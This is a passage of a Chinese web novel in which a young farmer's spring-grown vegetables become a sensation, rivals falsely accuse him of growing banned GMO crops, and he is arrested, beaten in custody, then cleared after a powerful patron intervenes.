莫天扬心头微动，一切正朝着他预想的方向发展。“峰叔，凌哥早上带了两个电子秤过来，您去我屋里一并拿出来，装菜的袋子也在那儿。” 陈峰一愣，随即咧开嘴笑了：“好小子！连这都预备下了？真行！” 他看向莫天扬转身走向地头的背影，眼底满是欣慰。这孩子是他看着长大的，如今心思如此缜密，连这些细枝末节都提前想到，实在是让人打心眼里高兴。 莫天扬走出菜地，只见堆放黄瓜茄子的空地旁已围了上百号人。许多人举着手机相机对着筐里水灵灵的蔬菜拍摄，惊叹声此起彼伏。 “请问，您是这片菜地的主人吗？”有人眼尖，见他过来立刻问道。 “对，是我。”莫天扬点头，朗声问，“大家这是……？” “您这菜看着太水灵了！我们想买点带回去尝尝鲜！”众人七嘴八舌地附和。 莫天扬眼中掠过一丝笑意，顺手从筐里拿起一根顶花带刺的黄瓜：“感谢大伙儿信任！买不买的先不急，大家伙儿先尝尝味道！”说着，他“咔嚓”一声将黄瓜利落地掰成两半，递给离得最近的两人，接着又拿起一根，如法炮制…… 几十根鲜嫩的黄瓜，莫天扬眼都没眨就分了出去。这豪爽劲儿，看得一旁搬菜的村民直吸气，心疼那水灵灵的收成。 拿到黄瓜的游人有的迟疑着用矿泉水冲洗一下，有的直接用手抹了抹，便试探着咬了一口。 清脆的“咔嚓”声接连响起，紧接着，一股难以言喻的、带着田野清香的甘甜滋味瞬间在口腔里弥漫开来！ 每一个尝到的人都不由自主地愣住了，眼睛瞪大，脸上写满了难以置信的惊愕——这哪里是寻常的黄瓜？这爽脆多汁、清甜回甘的口感，简直颠覆了他们对黄瓜的所有认知！ “老板，这啥品种啊？味道绝了！给我来十斤……不，二十斤黄瓜！”一个三十出头的壮汉嗓门洪亮，率先喊道。 这一嗓子像点燃了引线，人群瞬间沸腾起来。尝过那惊人口感的游客们个个两眼放光，激动地往前挤——能大老远跑到这偏僻乡村的，谁还没点消费力？尝过这堪比顶级水果的黄瓜，谁不想多带些回去！ 莫天扬脸上挂着淡淡的笑容，抬手示意大家安静：“刚才说了，咱们这是纯天然、无公害的蔬菜，味道大家也尝过了。好东西自然不便宜，所以这价格嘛……” “超市里那些精品黄瓜跟你这比差远了！贵点我们也认！”有人立刻高声应和。 莫天扬点点头：“县城那边黄瓜现在卖四块左右一斤。大伙儿觉得我这该定多少？” “我是沛川来的！”一位穿着讲究的中年人接话，“沛川精品超市的黄瓜卖到六块一斤，您这品质甩他们几条街！七八块我们也能接受！” “行！承蒙大家远道而来，山路又不好走。”莫天扬朗声道，“黄瓜五块八，茄子四块七，豆角九块六，青椒三块五，生菜四块三！” 价格报出，人群短暂地安静了一下。这价比县城确实高出一大截。但短暂的迟疑很快被那口黄瓜带来的极致体验冲散，尤其那些来自沛川甚至更远地方的游客，眼神立刻坚定了。 “给我来十斤黄瓜！” “我要五斤茄子，五斤豆角！” “青椒和生菜各来五斤！” 莫天扬苦笑着再次抬手：“可能大家还不知道，我这片菜地已经和别人签了供货合同。好说歹说，这两天人家才松口，允许我们少量零售。所以……每种蔬菜，每人最多只能买五斤。” “五斤就五斤！每样都给我来五斤！”刚才那位沛川来的中年人毫不犹豫。 旁边有人提醒：“大哥，你就尝了黄瓜，其他菜还没试过呢？” 中年人爽朗一笑：“我在这儿蹲点一个多星期了！你们在地里怎么干活，我看得一清二楚！纯天然、无公害的菜，别说城里，乡下现在也金贵！你就放心装，按最高限量来！” 有人带头，场面立刻火爆起来。莫天扬一个人根本忙不过来，曹勇赶紧带着几个村民放下地里的活计，跑来帮忙称重、装袋、收款。菜地边这热火朝天的抢购景象，迅速被围观者拍下传到了网上。那“高得离谱”的价格和顾客们因限量而“抱怨连连”的反差，瞬间让青木村的蔬菜成了网络热议的焦点。 忙碌的一天终于落幕。所有人都带着一身疲惫，但脸上却洋溢着多年未见的灿烂笑容。那份深藏心底、盼着村子能好起来的渴望，此刻被莫天扬点燃，化作了实实在在的希望。 “宏利，今天零售了多少？”莫天扬揉着发酸的胳膊问。 陈宏利翻着账本，声音带着兴奋：“所有种类加一块儿，六千三百多斤！今天雇了四十六位乡亲，工钱一共支出了两千八百七十块。” 莫天扬点点头，目光扫过曹勇、胡标、陈峰等人：“大伙儿今天都看到了。如果信得过我……”他顿了顿，声音恳切，“让曹克雄、胡振南他们这些在外头打工的兄弟，都回来吧！我不敢打包票比外面挣得多，但在这儿，我说了算！该给的钱，一分都不会拖！” 胡标等人一听，眼睛瞬间亮了，腰杆都不由自主地挺直了几分。 “好！好！”胡标声音有些发颤，“这段时间振南隔三岔五就打电话问菜地的事，我这就给他打！” 陈峰哈哈笑着拍了他一下：“老胡，你急个啥！天大的事也得等填饱肚子再说啊！” 胡标瞪了他一眼：“宏利早就回来帮忙了，你倒是不急！”话虽带着嗔怪，嘴角却咧到了耳根。 第五十五章超凡品质 接连几天，青木村都像过年般热闹。每天涌来上百号人，今天菜地正式开园，光是凌飞就拉走了满满几大车。菜地边等着买菜的队伍更是蜿蜒如长龙，而每一种蔬菜那“高得离谱”的价格，更是成了人们议论的焦点。 青木村就这么巴掌大的地方。养豆芽赔了个精光，更是让亲友堵门，莫老三一家已经没有了往日的嚣张，每天都窝在家里，虽然窝在家里不怎么出门，但关于莫天扬那边的风吹草动，总能一字不落地钻进他们耳朵里。 今天这动静更是大得惊人！莫天扬一口气雇了村里四十多个头发花白的老人帮忙摘菜。更刺心的是，那些老人干完活，当天就揣着六七十块工钱喜滋滋地回了家。 这消息像针一样扎在莫老三心上——别说在穷困的青木村，就是放眼整个西北，哪有给七老八十、腿脚不便的老人开这价钱的？ 莫天扬一天收入好几万，连村里最没用的老骨头都能轻松挣上几十块……这些消息像钝刀子割肉，让莫老三气得心口直抽抽，几乎要呕出血来。 “老三，那片沙地咱家也吭哧吭哧种了好几年，哪年不是连化肥钱都赚不回来？那小畜生到底使了什么妖法？硬是把那破沙窝子变成了聚宝盆！”莫老三的老婆拍着大腿，声音又尖又利，“胡标他们可都传遍了，就那片沙地的菜，今年少说能进账几十万！” “我他娘的怎么知道！”莫老三烦躁地低吼一声。 一旁的儿子莫栓，眼里淬着毒火，他摸着下巴，阴恻恻地开口：“爹，你说……是不是那口古井有古怪？帮忙的人可都嘀咕，说那井水尝着都是甜的……” “放屁！”莫老三啐了一口，“当年那院子咱也种过，井水还不是那味儿？能种出个屁来！” “那……难道是那小子在外头四年，真鼓捣出了什么秘方？”莫栓眉头紧锁。 “他？一个窝囊废怂包能学来什么真本事？”莫老三老婆嗤之以鼻，“按我说，准是用了什么‘科技狠活’！电视上不都这么说吗？” 莫栓眼睛贼亮地凑近：“妈，不是普通化肥农药。我听说国外有种叫‘转基因’的玩意儿，国内可是明令禁止的！用了那东西，种出来的菜又好看又好吃，就是……能祸害人！那小畜生好歹是个大学生，保不齐就接触了这种歪门邪道！他回来种菜，就是仗着乡下人不懂，拿这有毒的东西骗钱害命！” “我的老天爷！这小畜生心肠这么歹毒？”莫老三老婆吓得捂住了嘴。 莫栓脸上掠过一丝狠厉：“爹，妈，我这就给姐夫打电话！只要咱们能抓住他搞转基因的证据……哼！够他牢底坐穿的！到时候，莫啸那个老棺材瓤子，还不是任咱们搓扁揉圆？” “现在我一听见那小畜生的名字，心头就堵得慌！”莫老三老婆捶着胸口，声音尖利，“他那菜指不定用了啥妖邪法子，咱必须做足准备！我一天都不想再看见他那得意样儿！” 莫栓眼中阴鸷更甚，接口道：“村里多少老把式在自家院里种菜？谁种出过他那品相？他一个没摸几天锄头的‘泥腿子’，凭啥？铁定是用了转基因那害人的玩意儿！” 莫老三深吸一口气，压下翻腾的怒火，看向满眼怨毒的儿子：“自打那天后，这小畜生就跟换了个人似的，再不是那个任咱捏扁搓圆的窝囊废了。这事儿……不能大意。给你姐夫那边也透个风，打个招呼，别到时候阴沟里翻船，反让这小子给算计了！” …… 千里之外，燕京。 一座规制宏大的三进四合院静卧在繁华深处。岁月虽剥蚀了它曾经的极致辉煌，但院墙内外无声巡弋、神情肃穆的黑衣人，无声昭示着此间主人身份的不凡。 餐厅内，灯色温润。颜若曦推门进来，脚步微顿——偌大的红木圆桌旁，竟只有爷爷颜向军一人端坐。 “爷爷？今儿怎么……”她有些意外。 颜向军放下手中把玩的紫砂壶，抬眼一笑，带着几分促狭：“怎么，嫌弃我这糟老头子，嫌冷清了？” 颜若曦噗嗤一笑，轻盈地绕到爷爷身后，亲昵地趴在他宽厚的肩头，撒娇道：“爷爷！您又取笑我！爸爸叔叔他们忙事业嘛。我知道您闷，以后我天天来烦您，给您解闷儿！” “好，好，”颜向军笑着拍拍孙女的手，“快去洗手，开饭了。” 待颜若曦净手归来落座，目光扫过餐桌时，却是一怔。桌上几道家常菜：碧玉般的凉拌黄瓜、油润的炒茄子、翠生生的炒豆角、鲜亮的炒青椒……这些寻常菜色出现在爷爷这般讲究的餐桌上，在她的记忆里，似乎是头一遭。 然而，下一刻，一股难以言喻的、混合着田野清芬的奇异菜香幽幽钻入鼻端。这香气纯粹而浓郁，竟是她从未在任何珍馐美味中嗅到过的。 “爷爷，这几道菜……？”她抬起清澈的眸子，带着询问。 颜向军眼中笑意更深，带着一丝神秘：“先别问，尝尝看。” 颜若曦眼波流转，了然笑道：“我猜呀，准是您又挖到宝，换了位神仙大厨！不然哪值得您特意打电话召我来？”说着，她伸出筷子，夹起一块晶莹剔透的黄瓜，优雅地送入口中。 清脆的声响在安静的餐厅里格外清晰。当那黄瓜独有的、极致清甜鲜脆的滋味在舌尖轰然炸开，瞬间弥漫整个口腔时，颜若曦整个人都僵住了，一双美眸难以置信地睁大！ 她下意识地又夹了一块，细细咀嚼，感受着那绝妙的口感，这才猛地看向爷爷，声音带着惊叹的微颤：“爷爷！这黄瓜……这味道！您从哪儿找来的神仙厨师？” 颜向军笑而不语，只抬手指了指桌上其他几道菜。颜若曦会意，怀着巨大的好奇和期待，依次品尝了茄子、豆角、青椒……每一道菜入口，都带来全新的、颠覆性的味觉冲击！她再也顾不上说话，手中的筷子仿佛有了自己的意志，精准而快速地伸向盘中。 十多分钟后，颜若曦终于满足地放下筷子，轻轻抚了抚微胀的小腹。她自己都记不清，有多久没有这样毫无顾忌、纯粹为了口腹之欲而大快朵颐了，吃的还仅仅是再普通不过的蔬菜！ 抬眼对上爷爷那含笑的、带着了然的目光，颜若曦俏脸微红，有些赧然，语气却带着不容置疑的雀跃：“爷爷，这位厨师我预订了！以后天天来您这儿蹭饭！” “厨师嘛，”颜向军慢悠悠地喝了口茶，“还是原来那个。” “怎么可能？！”颜若曦失声道。 “的确没换，”颜向军放下茶杯，目光炯炯，“是食材换了。这些菜，是今天专机从西北空运来的，顶级的无公害有机蔬菜。” 颜若曦美眸一亮：“是航天育种中心那边的新成果？也只有他们才有这实力培育出如此……超凡的蔬菜了！” 颜向军却缓缓摇头，眼中带着一丝奇异的欣赏：“这次还真不是。培育出这些菜的，是个年轻人。地点，就在西北一个叫青木村的地方。” 颜若曦心头猛地一跳，一个名字瞬间跃入脑海。她倏地站起身，抓住爷爷的大手，声音带着自己都没察觉的急切：“爷爷！您该不会是说……莫天扬？！” “哈哈，正是他！”颜向军朗声笑起来，带着由衷的赞叹，“真没想到啊，一个二十出头的小伙子，在那片公认的贫瘠沙地上，竟能种出让无数专家都汗颜的珍品！” 颜若曦震惊过后，一丝疑虑浮上心头：“可是爷爷……这味道好得太不可思议了！连航天育种中心那些顶尖专家都做不到，他一个……在青木村？这里面……该不会真用了什么……转基因技术吧？” 颜向军收敛笑容，目光变得深邃而严肃：“丫头，前些日子你不是还言之凿凿，相信他只是用了农家肥？怎么这会儿倒疑心他用转基因了？” 颜若曦微微低头，解释道：“这些年，您这里供应的无公害有机蔬菜瓜果，已是国内顶级的品质。可莫天扬种出来的……味道层次、纯净度都远超它们。所以我才……” “放心吧，”颜向军打断她的疑虑，语气斩钉截铁，“国字头的几家顶尖科研机构联合做了最严苛的检测，反复多次！结果不仅未检出任何有害残留，反而发现其中蕴含了多种极其稀有的、对人体大有裨益的活性微量元素和营养素！中科院那几位搞了一辈子农业的老院士看了报告都摇头感叹，说这种菜……再给他们三十年，也未必能复现出来！” “什么？！” 颜向军的话如同惊雷，在颜若曦耳边炸响。她彻底愣在当场，心中翻起滔天巨浪。一个与她同校、专业毫不相干的校友，竟能在没有任何显赫科研背景支撑的情况下，于贫瘠的西北沙地，种出让国家顶级科研机构都自叹不如、甘拜下风的蔬菜？这简直……颠覆了她的认知！ 第五十六章未卜先知 灵泉空间内，大青、小白、小青狼惬意地伏在泉边，享受着灵泉滋养带来的舒泰。而在靠近那株神秘九彩荷莲的区域，景象却截然不同——除了那些长满黑曜石般晶莹木耳的朽木，水面上更漂浮起大片特制的无土种植箱，俨然形成了一片水上田园。 莫天扬站在水边，目光灼灼地扫过箱内。不过短短三天，那些种下的西红柿、黄瓜、茄子幼苗，竟已窜至半尺高，枝头更是挂满了娇嫩的花朵和初结的小果！ 这惊人的长势，正是他受到木耳、黄芪和老山参在灵泉中蓬勃生长的启发，特意订购无土种植箱进行试验的结果。看着眼前生机盎然的景象，他对在灵泉空间大规模种植的未来充满了前所未有的期待。 每一种蔬菜的长势都堪称疯狂，收获就在眼前。然而，看着这片由无数箱子拼接起来、足有三亩大小的水上种植基地，莫天扬心头也掠过一丝隐忧——这漂浮的“农田”，能经得起空间里可能出现的莫测风浪吗？ 他熟练地给几株西红柿加固了支架，估算了下外界时间，便带着意犹未尽的大青、小白它们离开了灵泉空间。 回到现实小院，曹勇等人早已忙碌开来。才早上七点多，院子里外已是人影攒动。莫天扬信步走出院门，打算去菜地帮忙，却被眼前的景象定住了脚步。 菜地外，竟已乌泱泱聚集了上百号人！与往日举着手机相机四处拍摄的自媒体和散客不同，这些人目标明确，目光热切地聚焦在蔬菜装车点附近，安静而急切地等待着。 莫天扬心头了然——他的菜，真的火了！ 他的出现像投入平静湖面的石子，人群瞬间骚动起来，却又迅速自发排起了长队，秩序井然中透着难掩的兴奋。 “大家早啊。”莫天扬笑着打招呼。 “老板！现在能买了吗？”一个熟悉的中年壮汉嗓门洪亮，挤在最前面。 莫天扬定睛一看，笑了：“大哥，我记得你！昨天每样都买了五斤吧？一天就吃光了？”他这一问，引得那些慕名而来、尚存疑虑的新客纷纷看向壮汉，眼神里充满了求证。 壮汉挠挠头，脸上满是赞叹和急切：“哎哟！您这菜的味道绝了！我爷爷九十多了，昨天尝了直说这是他这辈子吃过最香的菜！那五斤黄瓜，我们家老老少少当水果抢着生吃，没够啊！今天能不能……多匀点给我？” 莫天扬露出一丝苦笑，摊了摊手：“大哥，真不是我不肯。昨天我那合作方都急了，专门打电话来，说我零售量太大，差点要压我的供货量。我好说歹说才争取到维持原样。” “那……他们到底在哪卖啊？我们想去买！”人群中有人追问。 莫天扬摇摇头，语气带着职业性的疏离：“这个我就不清楚了。我的职责，就是按合同把合格的菜送到指定地点。”他心知张学涛的精品果蔬店并未上架，而王林川透露的豆芽最终流向燕京……但这些，此刻只能含糊带过。 上午十点多，莫天扬刚踏进厨房查看，脚步便是一顿。超乎常人的敏锐听觉，清晰地捕捉到了院外汽车停下的声音。 他摇摇头，这几天慕名而来的自媒体和游人络绎不绝，自驾车辆更是常见。菜园开园，有人来访再正常不过。 然而，下一秒，一声低沉而充满怒意的狼嚎骤然响起——是大青！ 莫天扬瞳孔微缩，瞬间转身疾步向外走去。大青这声低吼，绝非寻常！刚走出不远，就见曹勇满脸焦急地迎面跑来。 “天扬！不好了！外面又来了一帮人，有穿制服的执法队，还有好些不认识的人，嚷嚷着要查封咱们菜园！”曹勇的声音带着惊慌。 莫天扬眼神一凛，快步冲出院子。 原本排队买菜的顾客早已被驱散到一旁，人群带着惊疑不定的神情，看着这阵势浩大的联合执法队伍。这种多部门“兴师动众”的场面，别说在这偏僻乡村，就算在城里也实属罕见！ 莫天扬的身影刚出现在院门口，那群制服人员立刻像闻到血腥味的鲨鱼般围拢上来，一道道目光锐利而冰冷，毫不掩饰其中的敌意。 “你就是莫天扬？”为首一个五十岁上下、面色阴沉的中年男人厉声喝问。 莫天扬扫视人群，目光在几个熟悉的面孔上停留了一瞬——是前两次“例行检查”的人！瞬间，他心中了然：莫老三一家，终于按捺不住了！ “我是莫天扬。”他声音平静，直视对方，“前些日子贵部门不是刚来检查过两回？手续齐全，菜也还没大规模上市。今天这又是唱的哪一出？” 那几个被认出的执法者脸上掠过一丝尴尬，下意识避开了莫天扬的目光。围观人群见状，眉头皱得更紧了。青木村的菜出名才几天？这执法队竟已“光顾”了三次？其中的蹊跷，不言而喻。不少游客立刻举起手机，镜头对准了场中。 那中年男人无视周围的拍摄，跨前一步，声音带着一种宣判的冷酷：“经过我们多部门联合调查取证，现已查明，你所种植的蔬菜属于国家明令禁止的转基因品种！你涉嫌严重违法！现在依法对你进行拘留！你名下的所有涉案蔬菜，立即查封！” 此言一出，如同平地惊雷！ 莫天扬脸色骤冷，周围的顾客更是瞬间哗然！转基因？禁种？这可是触碰红线的重罪！所有人的目光都惊疑地在莫天扬和那中年执法者之间来回扫视。 “证据？”莫天扬的声音冷得像冰，带着毫不掩饰的讥讽，“我的菜园从开建就围挡严密，除我雇佣的村民，外人根本进不去！敢问贵部门何时、何地、由何人对我园内蔬菜进行过抽样化验？我昨天才正式开园售卖，今天就‘查明’是转基因？你们是未卜先知，还是……” 这一连串犀利的反问，掷地有声！刚才还对莫天扬有所怀疑的顾客们顿时愣住了。是啊，这地方偏僻难行，如果真如莫天扬所说从未被抽检过，那这“铁证如山”的结论，岂不是凭空捏造？猫腻太大了！ “少废话！铐起来带走！”中年男人恼羞成怒，厉声下令。 几名如狼似虎的执法者立刻扑了上来！ “呜——嗷——！！！” 一声震人心魄的狼嚎炸响！大青、小白如同两道青色闪电从院中窜出，紧随其后的是几十头半大青狼崽！大青庞大的身躯瞬间挡在莫天扬身前，颈毛根根倒竖，獠牙毕露，喉咙里滚动着骇人的低吼，幽绿的狼眼死死锁定扑来的人，凶煞之气弥漫开来！ “咔嚓！咔嚓！” 几声金属撞击的脆响！几名反应快的执法者脸色大变，毫不犹豫地拔枪上膛！黑洞洞的枪口瞬间对准了挡在莫天扬身前的大青，以及莫天扬本人！ 围观人群吓得惊呼后退，脸上写满了惊骇！ 莫天扬的目光扫过那些冰冷的枪口，嘴角勾起一抹冰冷的弧度，声音却清晰地传遍全场：“好大的威风！国家赋予你们执法的权力，就是让你们这样用枪口对准守法的普通公民？！” 那几个持枪者脸色微变。中年男人强作镇定，厉声道：“这是正当防卫！防止恶犬伤人！” 莫天扬深吸一口气，对方连枪都动了，摆明了是要撕破脸，不留余地了。他不再看那中年男人，而是抬手，沉稳而有力地拍了拍大青紧绷的颈背，声音不高，却带着一种不容置疑的决绝： “大青，带好小的们，给我看住菜地！谁敢动地里一片叶子……”他目光如刀，扫过那些持枪者和执法队员，“咬死他们！然后，立刻回青木山！” 说完这话，莫天扬转身看向陈宏利，“宏利，帮我照顾好爷爷。” 第五十七章狼王 “莫天扬！识相点，接下来我们就要铲除这些害人的转基因作物！你敢……”中年执法官厉声呵斥，试图用气势压人。 莫天扬冷冷地睨了他一眼，那眼神如同冰锥刺骨。他缓缓摊开双手，声音不高，却带着一种穿透全场的平静力量。 “来，拿出盖着公章的检验报告。没有？那就闭上你的嘴！”他话锋一转，更显锋芒，“或者——你们现在可以给我立个字据！如果我的蔬菜经权威机构检测，证明不是转基因……”他目光扫过在场所有人，一字一顿，“就按我昨天销售额的十倍赔偿！敢不敢？” 这掷地有声的反击，让中年执法官和他带来的人瞬间语塞！围观的人群更是心头一震，下意识地点头。转基因在国内是重罪，若莫天扬真有问题，怎会如此硬气？对方从头到尾，除了空口白牙的指控，何曾亮出过半点真凭实据？ “你一个罪犯嚣张什么！带走！下午我就亲自带队，把这些毒菜连根铲了！”中年执法者恼羞成怒，咆哮着下令。 咔嚓！ 一声冰冷的金属脆响，闪着寒光的手铐紧紧锁住了莫天扬的手腕。莫天扬身躯纹丝未动，甚至没有低头看一眼腕上的束缚。他的目光越过人群，稳稳落在已弓起身子、獠牙毕露、喉咙里滚动着死亡低吼的大青身上。 “大青！”莫天扬的声音清晰而沉稳，带着不容置疑的指令，“招呼山里的兄弟，都过来！给我守好咱们的菜地！一片叶子，都不能让人糟蹋了！” 下一幕，让所有在场者永生难忘！ 大青猛地仰起硕大的狼首，向着青木山的方向，发出一声撼天动地的长啸！ “嗷呜——！！！” 啸声如滚滚惊雷，裹挟着冲天的怒火与悲愤，瞬间撕裂了山谷的宁静！那声音中的威压与决绝，让每一个听到的人都感到灵魂震颤！ 仅仅几个呼吸之后！ “嗷呜——！”“嗷呜——！”“嗷呜——！” 一声接一声、此起彼伏的狼嚎，如同燎原的野火，从青木山深处汹涌传来！由远及近，层层叠叠，汇聚成一片令人毛骨悚然的死亡交响！ 所有人的脸色瞬间惨白如纸！他们惊恐地望着大青，眼中充满了难以置信的骇然！这些天关于青木村有人能号令青狼的传闻，许多人只当是无稽之谈！人类与顶级掠食者的天堑，岂是那么容易跨越？ 然而此刻，传说就在他们眼前化作了现实！这头巨狼不仅完全听懂了莫天扬复杂的指令，更真的以啸声为号，召唤来了山中的同族！ 随着啸声愈发急促高亢，远处的胡杨、红柳开始剧烈晃动！一道道矫健凶悍的青灰色身影，如同鬼魅般从灌木丛中、山石后闪电般窜出！狼瞳闪烁着幽冷的绿光，獠牙在阳光下泛着森白！ 眨眼间，至少二十多头成年青狼已集结完毕，呈扇形拱卫在菜地边缘！远处山梁上，仍有更多青影在快速移动、汇聚！ 莫天扬被粗暴地推搡着。临上车前，他蓦然回头，冰冷的目光精准地钉在那中年执法官扭曲的脸上，嘴角勾起一丝极尽嘲讽的冷笑： “现在，我倒是要睁大眼睛看看，你下午……如何铲平我的菜地！” 中年执法官的脸瞬间因极致的愤怒和惊惧而变得狰狞可怖！他做梦也想不到，这个乡下小子竟有如此逆天的手段！这哪里是养了一条狼？这分明是召唤了一支只听命于他的狼族大军！ “开车！快开车！”他气急败坏地嘶吼。 …… 莫天扬被执法部门以“种植转基因作物”名义带走的视频和消息，如同海啸般席卷了整个网络！ “转基因”这个敏感词本就牵动人心，而莫天扬在抓捕现场硬刚执法、索要证据、并指挥青狼召唤狼群守护菜地的震撼画面，更是引爆了前所未有的舆论风暴！ 无数网民被莫天扬的硬气和那不可思议的“狼语者”能力所震撼！他无视手铐、从容下令、狼群应召而出的场景，充满了原始的力量感和悲壮的英雄气概！几乎一夜之间，“狼王莫天扬”的名号响彻全网！这原本只存在于传说或荧幕中的称号，被亿万网友心甘情愿地加冕于这个来自西北乡村的年轻人身上！ 巨大的争议与关注，将事件瞬间推上了各大平台热搜榜首！ …… 与此同时，在县城某处偏僻执法点的一间密闭审讯室里。 啪！噗！咚！ 沉闷的肉体击打声和压抑的痛哼声在狭小的空间里不断回响。刺眼的白炽灯下，莫天扬被反铐在冰冷的铁椅上，脸色灰败，嘴唇破裂，额角淌下的鲜血混着汗水，将他胸前那件单薄的衣衫浸透出大片刺目的暗红血渍。 几个打着赤膊的壮汉，正狞笑着对他拳打脚踢，每一次沉重的击打都让他的身体痛苦地蜷缩。 “莫天扬，骨头够硬啊！哥几个佩服！”一个汉子喘着粗气停下，抓起桌上的认罪书晃了晃，声音带着残忍的戏谑，“可你特么瞎了眼，得罪了不该得罪的人！签了它，少受点皮肉之苦！不就是个‘非法种植’嘛，签了字，顶多拘你半个月，再罚点钱，破财消灾，懂不懂？” 莫天扬艰难地抬起头，沾血的发丝黏在额前，但那双眼睛却亮得惊人，如同燃烧的寒冰，死死盯着说话的打手。他啐出一口血沫，声音嘶哑却字字清晰： “呵……你们是不是忘了，头顶还有国法，还有青天？安云飞？在你们眼里是个人物？在我眼里，屁都不是！你们助纣为虐，真以为他能一手遮天，捂住这朗朗乾坤？！” 他喘了口气，带着血的冷笑绽开：“等着吧……这事捂不住！一旦真相大白于天下，别说他安云飞……你们这些爪牙，一个都跑不了！都得给老子陪葬！” “妈的！敬酒不吃吃罚酒！”刀疤脸被彻底激怒，眼中凶光暴闪，抄起旁边的橡胶警棍，“给老子往死里打！打到他签为止！” 网络上的风暴愈演愈烈！莫天扬那句“从未有人抽样检验”的质问，如同一颗投入深潭的石子，激起了无数怀疑的涟漪。没有证据的指控、不合常理的执法程序……这一切都让越来越多的人嗅到了其中的猫腻。 燕京，颜家四合院。 “啪——！” 一声巨响！坚硬的红木茶几在颜向军含怒一掌下剧烈震颤，杯盏叮当作响！这位戎马一生的老人霍然起身，一股经历过战火淬炼、足以让普通人肝胆俱裂的凛冽杀意，瞬间弥漫了整个厅堂！ “若曦！”颜向军的声音如同淬火的钢铁，带着不容置疑的威严，“网上传的，都是真的？！” 颜若曦心头一紧，饶是她见惯了爷爷的威势，此刻也被这突如其来的暴怒所慑。但转念一想，她便理解了——爷爷虽未见过莫天扬，却深知那是救了自己孙女性命的恩人！若无莫天扬，此刻的她早已香消玉殒。 更深层的，是她了解爷爷的根骨。爷爷是从最底层、最贫瘠的土地上挣扎出来的战士，他们那一代人抛头颅洒热血，为的就是让天下百姓，尤其是像青木村那样挣扎在贫瘠线上的乡亲，能过上好日子！ 莫天扬，一个在近乎荒漠化的青木村，硬是种出让中科院老院士都击节赞叹的顶级蔬菜的青年！这在爷爷眼中，是何等励志、何等珍贵的希望之光？他培育的蔬菜，更是通过了国家级最严苛机构的检验，是毋庸置疑的珍品！ 可如今，竟有人敢在没有任何实证的情况下，用“转基因”这种足以毁人一生的罪名去污蔑、构陷他？！这不仅是颠倒黑白，更是对爷爷心中那份朴素信仰和毕生追求的践踏！更何况，被构陷的，还是她颜若曦的救命恩人！ “是真的，爷爷。”颜若曦的声音带着压抑的急切和一丝不易察觉的颤抖，“莫天扬已经被他们强行拘留了……现在网络上……” “混账东西！”颜向军须发皆张，怒目圆睁，胸膛剧烈起伏，那声怒斥仿佛带着金戈铁马的回响，“这种蛀虫，就该枪毙！立刻枪毙！” “爷爷，您息怒！”颜若曦连忙上前一步，扶住爷爷因盛怒而微微发颤的手臂，急切道，“现在网络上已经吵翻了天，舆情汹涌！但已经有别有用心的人在刻意带节奏，混淆视听！如果任由他们抹黑，莫天扬……” 颜向军猛地一挥手，斩钉截铁，眼中寒光爆射，“现在最重要的是人！是公理！是容不得半点污秽的朗朗乾坤！”他不再看孙女，径直走到书案旁，一把抓起那部红色的保密电话，手指因用力而指节发白，声音低沉却蕴含着雷霆万钧之力： “给我接XXX！这种祸国殃民的败类，多存在一秒，都是对国法的亵渎！必须连根拔起，一个不留！” 第五十八章网络之力？ 颜向军虽已退隐多年，但其雷霆之怒，岂是等闲？ 莫天扬不仅是孙女颜若曦的救命恩人，他于贫瘠沙地种出让农科院院士都为之惊叹的顶级蔬菜，其本身便是一个充满希望的象征！这双重因素，加上网络**如火如荼的发酵，其引发的震动可想而知。 风暴，以超乎想象的速度降临！ 就在事件发酵的第二天清晨，最高监管部门的调查组，如神兵天降般直接空降沛川！沛川地方高层被打了个措手不及，连反应的时间都没有…… …… 第三天，阴暗的拘留室。 沉重的铁门发出一声刺耳的摩擦声，被缓缓推开。蜷缩在角落的莫天扬艰难地抬起头。几天的折磨已让他不成人形，脸上青紫交错，身上伤痕累累，血迹干涸在破烂的衣服上。听到门响，他嘴角下意识地扯出一抹冰冷的、带着无尽嘲讽的弧度——又要开始新一轮的“审讯”了吗？ 然而，当门外的光线涌入，看清来者时，莫天扬浑浊的眼神微微一凝，闪过一丝错愕。 门口站着几位身着便装的中年男子，面容肃穆，眼神锐利如鹰隼，周身散发着一种久居高位、不怒自威的沉静气场。他们看到莫天扬此刻惨烈的模样，瞳孔骤然收缩，那深潭般的眼底瞬间掠过冰冷的怒意与痛心！ 莫天扬心头一紧，肌肉下意识地绷紧——难道是安云飞等不及，要下最后的黑手？！ 就在这时，一位身着黑色夹克、约莫四十出头、气质更为沉稳内敛的男**步走了进来。他的目光落在莫天扬身上，脚步明显一顿，眉头紧紧锁起。 “你是莫天扬？”男人的声音低沉而有力，带着一种不容置疑的庄重。 莫天扬艰难地点点头，声音因虚弱和干渴而嘶哑：“我是。你们是……？” “我代表监管部门，”黑衣男人语气沉痛而坚定，“对你在此遭受的不公正对待和非法伤害，表示最深的歉意！我们来晚了！现在，立刻送你去医院接受全面检查和治疗！” 他顿了顿，目光扫过莫天扬身上的伤痕，眼神更加锐利，“请你放心！对于发生在这里的一切，我们一定会彻查到底，揪出所有责任人！必定给你，也给全国人民一个公正、彻底的交代！” 一股难以言喻的暖流和巨大的释然瞬间冲垮了莫天扬紧绷的心弦。他明白了——是网络的力量，引起了更高层面的关注。无论如何，青天终于来了！他喉头滚动，只艰难地吐出两个字：“谢谢……” 两名便衣人员立刻上前，小心翼翼地搀扶起他。当他们真切地感受到莫天扬身体的虚弱和那些触目惊心的伤痕时，眼中压抑的怒火几乎要喷薄而出。 …… 莫天扬被紧急送往医院的同时，一场更大的风暴席卷了整个网络！ 国家最高监管部门雷霆出手！浅驼县参与构陷、滥用职权的多个部门负责人被连夜带走调查！沛川方面更是火速发布官方通告，并附上了由国家顶级检验机构出具的、最具权威性的检测报告！ 这份沉甸甸的报告，如同一道金色的圣旨，彻底粉碎了所有关于“转基因”的污蔑！报告不仅证实青木村蔬菜完全符合国家最高无公害标准，更以详实的数据揭示了其蕴含的多种珍稀、高活性、对人体大有裨益的独特营养元素！其营养价值，远超同类顶级有机蔬菜！ 谣言瞬间灰飞烟灭！青木村的蔬菜，一夜之间从被污名化的“毒菜”，变成了被国家级权威机构盖戳认证的“黄金蔬菜”！全网沸腾！无数人不再满足于网络热议，而是渴望亲临青木村，亲眼见证、亲手触摸、亲口品尝这份来自西北荒漠的奇迹！ …… 仅仅在医院接受了不到一天的初步检查和紧急处理后，莫天扬不顾医生和调查组人员的极力劝阻，执意要求出院。 